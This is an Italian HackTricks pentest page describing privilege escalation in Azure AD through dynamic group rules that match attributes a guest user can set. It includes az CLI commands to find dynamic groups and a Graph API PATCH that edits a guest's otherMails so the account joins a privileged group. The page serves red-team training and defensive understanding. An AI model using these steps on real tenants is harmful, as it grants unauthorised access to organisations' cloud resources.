Az - Dynamic Groups Privesc
Reading time: 3 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
I dynamic groups sono gruppi che hanno un insieme di regole configurate e tutti gli utenti o dispositivi che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un attributo di un utente o dispositivo viene cambiato, le regole dinamiche vengono ricontrollate. E quando una nuova regola viene creata, tutti i dispositivi e gli utenti vengono controllati.
I gruppi dinamici possono avere ruoli Azure RBAC assegnati a loro, ma non è possibile aggiungere ruoli AzureAD ai gruppi dinamici.
Questa funzionalità richiede una licenza Azure AD premium P1.
Privesc
Nota che per impostazione predefinita qualsiasi utente può invitare ospiti in Azure AD, quindi, se una regola di un gruppo dinamico concede permessi agli utenti in base agli attributi che possono essere impostati in un nuovo ospite, è possibile creare un ospite con questi attributi e escalare i privilegi. È anche possibile per un ospite gestire il proprio profilo e cambiare questi attributi.
Ottieni gruppi che consentono l'appartenenza dinamica: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Esempio
- Esempio di regola:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
- Descrizione della regola: Qualsiasi utente ospite con un'email secondaria contenente la stringa 'security' verrà aggiunto al gruppo
Per l'email dell'utente ospite, accetta l'invito e controlla le impostazioni attuali di quell'utente in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Sfortunatamente, la pagina non consente di modificare i valori degli attributi, quindi dobbiamo utilizzare l'API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.